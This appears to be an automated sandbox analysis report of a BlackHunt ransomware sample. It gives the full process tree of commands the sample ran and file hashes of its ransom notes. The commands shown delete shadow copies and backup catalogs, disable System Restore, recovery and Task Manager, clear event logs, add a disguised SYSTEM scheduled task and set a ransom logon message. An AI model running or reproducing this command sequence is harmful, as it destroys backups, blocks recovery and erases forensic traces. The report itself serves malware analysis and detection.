                                                  reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
                                                  3⤵
                                                    PID:1128
                                                • C:\Windows\System32\cmd.exe
                                                  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
                                                  2⤵
                                                    PID:1724
                                                    • C:\Windows\system32\reg.exe
                                                      reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
                                                      3⤵
                                                        PID:2264
                                                    • C:\Windows\System32\cmd.exe
                                                      "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
                                                      2⤵
                                                        PID:3500
                                                        • C:\Windows\system32\reg.exe
                                                          reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
                                                          3⤵
                                                            PID:5140
                                                        • C:\Windows\System32\cmd.exe
                                                          "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
                                                          2⤵
                                                            PID:3628
                                                            • C:\Windows\system32\reg.exe
                                                              reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
                                                              3⤵
                                                                PID:9736
                                                            • C:\Windows\System32\cmd.exe
                                                              "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
                                                              2⤵
                                                                PID:3648
                                                                • C:\Windows\system32\reg.exe
                                                                  reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
                                                                  3⤵
                                                                    PID:7576
                                                                • C:\Windows\System32\cmd.exe
                                                                  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
                                                                  2⤵
                                                                    PID:2720
                                                                    • C:\Windows\system32\reg.exe
                                                                      reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
                                                                      3⤵
                                                                        PID:7608
                                                                    • C:\Windows\System32\cmd.exe
                                                                      "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
                                                                      2⤵
                                                                        PID:4668
                                                                        • C:\Windows\system32\reg.exe
                                                                          reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
                                                                          3⤵
                                                                            PID:9512
                                                                        • C:\Windows\System32\cmd.exe
                                                                          "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
                                                                          2⤵
                                                                            PID:4316
                                                                            • C:\Windows\system32\reg.exe
                                                                              reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
                                                                              3⤵
                                                                                PID:2224
                                                                            • C:\Windows\System32\cmd.exe
                                                                              "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
                                                                              2⤵
                                                                                PID:3772
                                                                                • C:\Windows\system32\reg.exe
                                                                                  reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
                                                                                  3⤵
                                                                                    PID:8288
                                                                                • C:\Windows\System32\cmd.exe
                                                                                  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
                                                                                  2⤵
                                                                                    PID:4608
                                                                                    • C:\Windows\system32\reg.exe
                                                                                      reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
                                                                                      3⤵
                                                                                        PID:11352
                                                                                    • C:\Windows\System32\cmd.exe
                                                                                      "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
                                                                                      2⤵
                                                                                        PID:4624
                                                                                        • C:\Windows\system32\reg.exe
                                                                                          reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
                                                                                          3⤵
                                                                                            PID:10272
                                                                                        • C:\Windows\System32\cmd.exe
                                                                                          "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
                                                                                          2⤵
                                                                                            PID:4252
                                                                                            • C:\Windows\system32\reg.exe
                                                                                              reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
                                                                                              3⤵
                                                                                                PID:9660
                                                                                            • C:\Windows\System32\cmd.exe
                                                                                              "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
                                                                                              2⤵
                                                                                                PID:3800
                                                                                                • C:\Windows\system32\reg.exe
                                                                                                  reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
                                                                                                  3⤵
                                                                                                    PID:7480
                                                                                                • C:\Windows\System32\cmd.exe
                                                                                                  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\4be7bd24d4b5f1d006cfc28a5a327a0c643b0c160f8e8f48021da8681553bff3.exe" /F
                                                                                                  2⤵
                                                                                                    PID:372
                                                                                                    • C:\Windows\system32\schtasks.exe
                                                                                                      SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\4be7bd24d4b5f1d006cfc28a5a327a0c643b0c160f8e8f48021da8681553bff3.exe" /F
                                                                                                      3⤵
                                                                                                      • Creates scheduled task(s)
                                                                                                      PID:6540
                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                    "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
                                                                                                    2⤵
                                                                                                      PID:5116
                                                                                                      • C:\Windows\system32\vssadmin.exe
                                                                                                        vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
                                                                                                        3⤵
                                                                                                        • Enumerates connected drives
                                                                                                        • Interacts with shadow copies
                                                                                                        PID:10524
                                                                                                    • C:\Windows\System32\cmd.exe
                                                                                                      "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
                                                                                                      2⤵
                                                                                                        PID:1980
                                                                                                        • C:\Windows\system32\vssadmin.exe
                                                                                                          vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
                                                                                                          3⤵
                                                                                                          • Enumerates connected drives
                                                                                                          • Interacts with shadow copies
                                                                                                          PID:3120
                                                                                                      • C:\Windows\System32\cmd.exe
                                                                                                        "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
                                                                                                        2⤵
                                                                                                          PID:4868
                                                                                                          • C:\Windows\system32\vssadmin.exe
                                                                                                            vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
                                                                                                            3⤵
                                                                                                            • Interacts with shadow copies
                                                                                                            PID:6976
                                                                                                        • C:\Windows\System32\cmd.exe
                                                                                                          "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
                                                                                                          2⤵
                                                                                                            PID:3732
                                                                                                            • C:\Windows\system32\vssadmin.exe
                                                                                                              vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
                                                                                                              3⤵
                                                                                                              • Interacts with shadow copies
                                                                                                              PID:1196
                                                                                                          • C:\Windows\System32\cmd.exe
                                                                                                            "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
                                                                                                            2⤵
                                                                                                              PID:5208
                                                                                                              • C:\Windows\system32\bcdedit.exe
                                                                                                                bcdedit /set {default} recoveryenabled No
                                                                                                                3⤵
                                                                                                                • Modifies boot configuration data using bcdedit
                                                                                                                PID:12672
                                                                                                            • C:\Windows\System32\cmd.exe
                                                                                                              "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
                                                                                                              2⤵
                                                                                                                PID:5340
                                                                                                                • C:\Windows\system32\wbadmin.exe
                                                                                                                  wbadmin.exe delete catalog -quiet
                                                                                                                  3⤵
                                                                                                                  • Deletes backup catalog
                                                                                                                  PID:12832
                                                                                                              • C:\Windows\System32\cmd.exe
                                                                                                                "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
                                                                                                                2⤵
                                                                                                                  PID:5484
                                                                                                                  • C:\Windows\system32\schtasks.exe
                                                                                                                    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
                                                                                                                    3⤵
                                                                                                                      PID:11720
                                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                                    "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
                                                                                                                    2⤵
                                                                                                                      PID:5256
                                                                                                                      • C:\Windows\system32\fsutil.exe
                                                                                                                        fsutil.exe usn deletejournal /D C:
                                                                                                                        3⤵
                                                                                                                        • Deletes NTFS Change Journal
                                                                                                                        PID:12616
                                                                                                                    • C:\Windows\System32\cmd.exe
                                                                                                                      "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
                                                                                                                      2⤵
                                                                                                                        PID:5244
                                                                                                                        • C:\Windows\system32\bcdedit.exe
                                                                                                                          bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
                                                                                                                          3⤵
                                                                                                                          • Modifies boot configuration data using bcdedit
                                                                                                                          PID:12744
                                                                                                                      • C:\Windows\System32\cmd.exe
                                                                                                                        "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
                                                                                                                        2⤵
                                                                                                                          PID:5200
                                                                                                                          • C:\Windows\system32\vssadmin.exe
                                                                                                                            vssadmin.exe Delete Shadows /all /quiet
                                                                                                                            3⤵
                                                                                                                            • Interacts with shadow copies
                                                                                                                            PID:11592
                                                                                                                        • C:\Windows\System32\cmd.exe
                                                                                                                          "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D F:\
                                                                                                                          2⤵
                                                                                                                            PID:11396
                                                                                                                            • C:\Windows\system32\fsutil.exe
                                                                                                                              fsutil usn deletejournal /D F:\
                                                                                                                              3⤵
                                                                                                                              • Enumerates connected drives
                                                                                                                              PID:13316
                                                                                                                          • C:\Windows\System32\cmd.exe
                                                                                                                            "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D C:\
                                                                                                                            2⤵
                                                                                                                              PID:20572
                                                                                                                              • C:\Windows\system32\fsutil.exe
                                                                                                                                fsutil usn deletejournal /D C:\
                                                                                                                                3⤵
                                                                                                                                  PID:11124
                                                                                                                              • C:\Windows\System32\cmd.exe
                                                                                                                                "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D M:\
                                                                                                                                2⤵
                                                                                                                                  PID:20496
                                                                                                                                  • C:\Windows\system32\fsutil.exe
                                                                                                                                    fsutil usn deletejournal /D M:\
                                                                                                                                    3⤵
                                                                                                                                    • Enumerates connected drives
                                                                                                                                    PID:24848
                                                                                                                                • C:\Windows\System32\cmd.exe
                                                                                                                                  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Setup
                                                                                                                                  2⤵
                                                                                                                                    PID:11040
                                                                                                                                    • C:\Windows\system32\wevtutil.exe
                                                                                                                                      wevtutil.exe cl Setup
                                                                                                                                      3⤵
                                                                                                                                      • Clears Windows event logs
                                                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                                                      PID:20780
                                                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                                                    "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl System
                                                                                                                                    2⤵
                                                                                                                                      PID:11008
                                                                                                                                      • C:\Windows\system32\wevtutil.exe
                                                                                                                                        wevtutil.exe cl System
                                                                                                                                        3⤵
                                                                                                                                        • Clears Windows event logs
                                                                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                                                                        PID:308
                                                                                                                                    • C:\Windows\System32\cmd.exe
                                                                                                                                      "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security
                                                                                                                                      2⤵
                                                                                                                                        PID:25824
                                                                                                                                        • C:\Windows\system32\wevtutil.exe
                                                                                                                                          wevtutil.exe cl Security
                                                                                                                                          3⤵
                                                                                                                                          • Clears Windows event logs
                                                                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                                                                          PID:20996
                                                                                                                                      • C:\Windows\System32\cmd.exe
                                                                                                                                        "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Application
                                                                                                                                        2⤵
                                                                                                                                          PID:25768
                                                                                                                                          • C:\Windows\system32\wevtutil.exe
                                                                                                                                            wevtutil.exe cl Application
                                                                                                                                            3⤵
                                                                                                                                            • Clears Windows event logs
                                                                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                                                                            PID:21100
                                                                                                                                        • C:\Windows\System32\cmd.exe
                                                                                                                                          "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security /e:false
                                                                                                                                          2⤵
                                                                                                                                            PID:20728
                                                                                                                                            • C:\Windows\system32\wevtutil.exe
                                                                                                                                              wevtutil.exe cl Security /e:false
                                                                                                                                              3⤵
                                                                                                                                              • Clears Windows event logs
                                                                                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                                                                                              PID:21260
                                                                                                                                          • C:\Windows\System32\cmd.exe
                                                                                                                                            "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
                                                                                                                                            2⤵
                                                                                                                                              PID:20760
                                                                                                                                              • C:\Windows\system32\vssadmin.exe
                                                                                                                                                vssadmin.exe Delete Shadows /all /quiet
                                                                                                                                                3⤵
                                                                                                                                                • Interacts with shadow copies
                                                                                                                                                PID:21228
                                                                                                                                            • C:\Windows\System32\cmd.exe
                                                                                                                                              "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
                                                                                                                                              2⤵
                                                                                                                                                PID:20768
                                                                                                                                                • C:\Windows\system32\bcdedit.exe
                                                                                                                                                  bcdedit /set {default} recoveryenabled No
                                                                                                                                                  3⤵
                                                                                                                                                  • Modifies boot configuration data using bcdedit
                                                                                                                                                  PID:21200
                                                                                                                                              • C:\Windows\System32\cmd.exe
                                                                                                                                                "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
                                                                                                                                                2⤵
                                                                                                                                                  PID:20808
                                                                                                                                                  • C:\Windows\system32\bcdedit.exe
                                                                                                                                                    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
                                                                                                                                                    3⤵
                                                                                                                                                    • Modifies boot configuration data using bcdedit
                                                                                                                                                    PID:21192
                                                                                                                                                • C:\Windows\System32\cmd.exe
                                                                                                                                                  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
                                                                                                                                                  2⤵
                                                                                                                                                    PID:20924
                                                                                                                                                    • C:\Windows\system32\fsutil.exe
                                                                                                                                                      fsutil.exe usn deletejournal /D C:
                                                                                                                                                      3⤵
                                                                                                                                                      • Deletes NTFS Change Journal
                                                                                                                                                      PID:21452
                                                                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                                                                    "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
                                                                                                                                                    2⤵
                                                                                                                                                      PID:21076
                                                                                                                                                      • C:\Windows\system32\wbadmin.exe
                                                                                                                                                        wbadmin.exe delete catalog -quiet
                                                                                                                                                        3⤵
                                                                                                                                                        • Deletes backup catalog
                                                                                                                                                        PID:23424
                                                                                                                                                    • C:\Windows\System32\cmd.exe
                                                                                                                                                      "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
                                                                                                                                                      2⤵
                                                                                                                                                        PID:21128
                                                                                                                                                        • C:\Windows\system32\schtasks.exe
                                                                                                                                                          schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
                                                                                                                                                          3⤵
                                                                                                                                                            PID:21648
                                                                                                                                                        • C:\Windows\System32\cmd.exe
                                                                                                                                                          "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
                                                                                                                                                          2⤵
                                                                                                                                                            PID:21276
                                                                                                                                                            • C:\Windows\system32\reg.exe
                                                                                                                                                              REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
                                                                                                                                                              3⤵
                                                                                                                                                                PID:21736
                                                                                                                                                            • C:\Windows\System32\cmd.exe
                                                                                                                                                              "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
                                                                                                                                                              2⤵
                                                                                                                                                                PID:13816
                                                                                                                                                                • C:\Windows\system32\reg.exe
                                                                                                                                                                  reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
                                                                                                                                                                  3⤵
                                                                                                                                                                    PID:23492
                                                                                                                                                                • C:\Windows\System32\cmd.exe
                                                                                                                                                                  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
                                                                                                                                                                  2⤵
                                                                                                                                                                    PID:13880
                                                                                                                                                                    • C:\Windows\system32\reg.exe
                                                                                                                                                                      reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
                                                                                                                                                                      3⤵
                                                                                                                                                                        PID:21796
                                                                                                                                                                    • C:\Windows\System32\cmd.exe
                                                                                                                                                                      "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
                                                                                                                                                                      2⤵
                                                                                                                                                                        PID:3008
                                                                                                                                                                        • C:\Windows\system32\schtasks.exe
                                                                                                                                                                          SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
                                                                                                                                                                          3⤵
                                                                                                                                                                            PID:21624
                                                                                                                                                                        • C:\Windows\System32\cmd.exe
                                                                                                                                                                          "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
                                                                                                                                                                          2⤵
                                                                                                                                                                            PID:13568
                                                                                                                                                                            • C:\Windows\system32\reg.exe
                                                                                                                                                                              REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
                                                                                                                                                                              3⤵
                                                                                                                                                                                PID:23504
                                                                                                                                                                            • C:\Windows\System32\cmd.exe
                                                                                                                                                                              "C:\Windows\System32\cmd.exe" /c taskkill /IM mshta.exe /f
                                                                                                                                                                              2⤵
                                                                                                                                                                                PID:21528
                                                                                                                                                                                • C:\Windows\system32\taskkill.exe
                                                                                                                                                                                  taskkill /IM mshta.exe /f
                                                                                                                                                                                  3⤵
                                                                                                                                                                                  • Kills process with taskkill
                                                                                                                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                  PID:21772
                                                                                                                                                                              • C:\Windows\System32\cmd.exe
                                                                                                                                                                                "C:\Windows\System32\cmd.exe" /c notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
                                                                                                                                                                                2⤵
                                                                                                                                                                                  PID:11700
                                                                                                                                                                                  • C:\Windows\system32\notepad.exe
                                                                                                                                                                                    notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
                                                                                                                                                                                    3⤵
                                                                                                                                                                                      PID:21832
                                                                                                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                                                                                                    "C:\Windows\System32\cmd.exe" /c C:\ProgramData\#BlackHunt_ReadMe.hta
                                                                                                                                                                                    2⤵
                                                                                                                                                                                    • Checks computer location settings
                                                                                                                                                                                    • Modifies registry class
                                                                                                                                                                                    PID:23252
                                                                                                                                                                                    • C:\Windows\SysWOW64\mshta.exe
                                                                                                                                                                                      "C:\Windows\SysWOW64\mshta.exe" "C:\ProgramData\#BlackHunt_ReadMe.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
                                                                                                                                                                                      3⤵
                                                                                                                                                                                        PID:25884
                                                                                                                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                          C:\Windows\SysWOW64\WerFault.exe -u -p 25884 -s 1444
                                                                                                                                                                                          4⤵
                                                                                                                                                                                          • Program crash
                                                                                                                                                                                          PID:21264
                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                      "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 5 > nul & del "C:\Users\Admin\AppData\Local\Temp\4be7bd24d4b5f1d006cfc28a5a327a0c643b0c160f8e8f48021da8681553bff3.exe"
                                                                                                                                                                                      2⤵
                                                                                                                                                                                        PID:21536
                                                                                                                                                                                        • C:\Windows\SysWOW64\PING.EXE
                                                                                                                                                                                          ping 127.0.0.1 -n 5
                                                                                                                                                                                          3⤵
                                                                                                                                                                                          • Runs ping.exe
                                                                                                                                                                                          PID:21760
                                                                                                                                                                                    • C:\Windows\system32\vssvc.exe
                                                                                                                                                                                      C:\Windows\system32\vssvc.exe
                                                                                                                                                                                      1⤵
                                                                                                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                      PID:9132
                                                                                                                                                                                    • C:\Windows\system32\wbengine.exe
                                                                                                                                                                                      "C:\Windows\system32\wbengine.exe"
                                                                                                                                                                                      1⤵
                                                                                                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                      PID:14220
                                                                                                                                                                                    • C:\Windows\System32\vdsldr.exe
                                                                                                                                                                                      C:\Windows\System32\vdsldr.exe -Embedding
                                                                                                                                                                                      1⤵
                                                                                                                                                                                        PID:7244
                                                                                                                                                                                      • C:\Windows\System32\vds.exe
                                                                                                                                                                                        C:\Windows\System32\vds.exe
                                                                                                                                                                                        1⤵
                                                                                                                                                                                        • Checks SCSI registry key(s)
                                                                                                                                                                                        PID:29128
                                                                                                                                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                        C:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 25884 -ip 25884
                                                                                                                                                                                        1⤵
                                                                                                                                                                                          PID:25988

                                                                                                                                                                                        Network

                                                                                                                                                                                        MITRE ATT&CK Enterprise v15

                                                                                                                                                                                        Replay Monitor

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                                                                                                                                                                                        Downloads

                                                                                                                                                                                        • C:\#BlackHunt_Private.key

                                                                                                                                                                                          Filesize

                                                                                                                                                                                          1KB

                                                                                                                                                                                          MD5

                                                                                                                                                                                          2cb51dcc5a09bea122b1b29e392ead43

                                                                                                                                                                                          SHA1

                                                                                                                                                                                          d494af274d8de09e384ea76bc4e24c26f7c9df54

                                                                                                                                                                                          SHA256

                                                                                                                                                                                          0f35cb82ac81ebbe16b89147d02d3bba2e1d5c4d1d1d082935b83965cf64f4f0

                                                                                                                                                                                          SHA512

                                                                                                                                                                                          227cf08502c9fd7d3e75a16dda8ffa3c8e91f18cae4afc3da25cb4b1e0b5a5cc36157212b8f4791d88f31587f090d440fa04bde2ae15e94c6f3668e957a0f264

                                                                                                                                                                                        • C:\ProgramData\#BlackHunt_ReadMe.hta

                                                                                                                                                                                          Filesize

                                                                                                                                                                                          12KB

                                                                                                                                                                                          MD5

                                                                                                                                                                                          7980bf363274eceb2375fe8abb938b44

                                                                                                                                                                                          SHA1

                                                                                                                                                                                          4978d14964de60408ff93ef2cc79d3e222045b01

                                                                                                                                                                                          SHA256

                                                                                                                                                                                          beb7b1b3eb717d846ea5506cc5484f0acd1863e89e4f17e93b583ce1841a259c

                                                                                                                                                                                          SHA512

                                                                                                                                                                                          d0c772cb31afd1625dbc5d933b943dd6913d3f6c36293c4627d5ac183b933c1de5708c64811d7274fc61245abbfafb497888ea8855f2c9218db8d57f9bc2bee4

                                                                                                                                                                                        • C:\ProgramData\#BlackHunt_ReadMe.txt

                                                                                                                                                                                          Filesize

                                                                                                                                                                                          684B

                                                                                                                                                                                          MD5

                                                                                                                                                                                          2760c12ca864160403a3bd1c5c32c63e

                                                                                                                                                                                          SHA1

                                                                                                                                                                                          5835fdf7945ddbbd036c76674c4fca018e9c3f02

                                                                                                                                                                                          SHA256

                                                                                                                                                                                          008c8ca23ff12d9f29a5d06e0dbd055f2f65dc87554a885c276330d9de2cfb2e

                                                                                                                                                                                          SHA512

                                                                                                                                                                                          04a8609031045e5143d0ae7eaee62dd043e025ad5944a49c640cafdd0afdf36dc23ac7e485112d37e6dcc1b373091ead68f7ab1da90d339014638d21a3ccc81b